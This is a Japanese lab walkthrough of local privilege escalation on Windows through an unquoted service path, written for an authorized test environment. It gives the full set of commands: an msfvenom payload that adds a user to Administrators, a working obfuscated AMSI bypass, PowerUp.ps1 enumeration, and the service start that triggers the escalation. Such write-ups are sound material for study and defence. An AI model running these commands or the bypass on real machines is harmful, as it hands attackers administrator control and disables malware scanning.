引用符で囲まれていないサービスパスに関するメモ。
これを悪用し、ローカルアカウントの権限昇格を行ってみます。
※ 許可されていない環境では実施しないこと
■ 準備
検証に必要なアカウント/フォルダ/サービス/プログラムを作成します。
◆ 検証用アカウントの準備
次のような検証用アカウントを2つ準備します。
アカウントA
管理者権限をもつローカルアカウントです。
ここでの管理者権限をもつというのは、「Administrators」
グループに所属することを意味します。アカウントB
管理者権限をもたないローカルアカウントです。
「testuser」というIDで、「Users」グループに所属します。
◆ 検証用フォルダの作成
管理者権限をもつアカウント(アカウントA)にて、検証に使うフォルダを作成します。
今回は次のようなフォルダとしました。
C:\work
ワーキングフォルダです。PowerUp.ps1を格納しておきます
(PowerUp.ps1は参考1より入手)。また、必要に応じてMicrosoft
Defenderのウイルス対策スキャンの対象外に設定しておきます。C:\work\test service
悪用するフォルダです。実際のシナリオとしては、このフォルダの中に
「MyFirstService.exe」といったプログラムがあり、これの実行パスを
引用符で囲まずに実行するサービスがあるといったことが挙げられます。
※ MyFirstService.exeを格納しておく必要はありません
管理者権限をもたないアカウント(アカウントB)に対するアクセス許可は次のとおりです。
> icacls "C:\work" > icacls "C:\work\test service"
◆ 検証用サービスの作成
コマンドプロンプトを管理者権限で開き、悪用するサービスを作成します。
今回は「TEST」というサービス名としました。
※ 「sc create」コマンドにおけるオプションの指定では、
「=」の後に半角スペースが一つ必要です
> sc create TEST binPath= "C:\work\test service\MyFirstService.exe" Displayname= "My First Service" start= auto > sc query TEST
検証用サービスの実行権限を確認します。
> sc sdshow TEST
「ビルトイン(ローカル)Users」グループ(BU)に対して実行権限が付与されていない
ことが分かります。この状態では、testuserで「TEST」サービスの起動(悪用)ができない
ため、次のコマンドを入力します(詳細については参考2や参考3が分かりやすいです)。
> sc sdset TEST D:(A;;RPWPCR;;;BU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)
実行権限を再確認すると、BUに対する実行権限が付与されていることが分かります。
> sc sdshow TEST
◆ 検証用プログラムの作成
サービスに「C:\work\test service\MyFirstService.exe」ではなく「C:\work\test.exe」と認識
させたいため、「test.exe」というプログラムを作成します。プログラム「test.exe」の
内容は、testuserの権限を昇格させる、すなわち「Administrators」グループに所属させる
ものとします。プログラムをmsfvenomなどで作成し(参考4)、「C:\work」フォルダに
格納します(Microsoft Defenderで検知される可能性があります)。
# msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators testuser /add" -f exe > test.exe
testuserは管理者権限を持たないアカウントであるため、「net localgroup administrators
testuser /add」といった処理を行う「test.exe」を実行できません。そこで悪用するのが
引用符で囲まれていないサービスパスであり、これにより「test.exe」を実行できることを
確認します。
少し長くなりましたが、これで準備が整いました。
■ 検証
次のシナリオを想定した検証を行います。
ターゲットのシナリオ(前節にて実施済)
ターゲットは、管理者権限を持たないアカウントtestuserにて実行可能な
「C:\work\test service\MyFirstService.exe」というサービスを作成した
(権限昇格につながる不適切な設定)。攻撃者のシナリオ(本節にて実施)
攻撃者は何らかの方法を用いて、ターゲットのコンピュータにtestuserにて
サインインすることに成功した。コンピュータの内部探索をしたところ、
引用符で囲まれていないサービスパスを悪用できることが分かり、これにより
testuserの権限を昇格させることを目標とした。
それでは検証を始めます。testuserでサインインし、コマンドプロンプトを起動します。
> whoami > net user testuser
まずはPowerUp.ps1を用いた内部探索を行いますが、その前にpowershellの実行ポリシー
変更とAMSIバイパスを行う必要があります。次のコマンドにて、すべてのスクリプトの
実行を許可するよう変更できます。
> powershell -ExecutionPolicy bypass
プロンプトがpowershellに変わるので、AMSIをバイパスします(参考5)。
PS> S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
これでPowerUp.ps1をロードできます。ロードできれば、権限昇格に繋がる設定不備を
「Invoke-AllChecks」コマンドにて列挙します。
PS> cd C:\work\ PS> . .\PowerUp.ps1 PS> Invoke-AllChecks
いくつか設定不備が見つかりましたが、前節で作成した「TEST」サービスが悪用できる
ことが示されています。「Get-UnquotedService」コマンドを使えば、引用符で囲まれて
いないサービスパスの不備のみに特化して出力することもできます。
PS> Get-UnquotedService
「TEST」サービスを悪用できることが確認できました。悪用する前に、改めてtestuserが
「Administrators」グループにが含まれていないことを確認しておきます。
PS> exit > net localgroup Administrators
それでは悪用します。「sc start TEST」と入力して「TEST」サービスを開始させます。
「そのサービスは指定時間内に~」と出ていますが、無視して再度「Administrators」
グループのメンバーを確認すると、testuserがメンバーに追加されていることが分かります。
> sc start TEST > net localgroup Administrators
「net user」コマンドでも、所属グループが増えていることが分かります。
> net user testuser
設定不備を悪用することで、testuserの権限を昇格させる検証ができました。
検証が終われば、必要に応じて端末の状態を元に戻します。具体的には次のとおりです。
- 検証用アカウントとそのプロファイルの削除
- 検証に利用したユーティリティや入出力ファイルの削除
- 検証用フォルダの削除とMicrosoft Defenderの除外対象の見直し
- サービスの削除(「sc delete TEST」を実行)
■ 感想
簡潔にまとめましたが、検証用サービスの実行権限付与など、検証には思いのほか
時間がかかりました。
■ 参考
- 参考1:https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
- 参考2:https://stakiran.hatenablog.com/entry/2018/07/18/195021
- 参考3:http://motdotnet.jugem.jp/?eid=574
- 参考4:https://book.hacktricks.xyz/v/jp/generic-methodologies-and-resources/shells/msfvenom
- 参考5:https://github.com/sinfulz/JustEvadeBro?tab=readme-ov-file
以上です。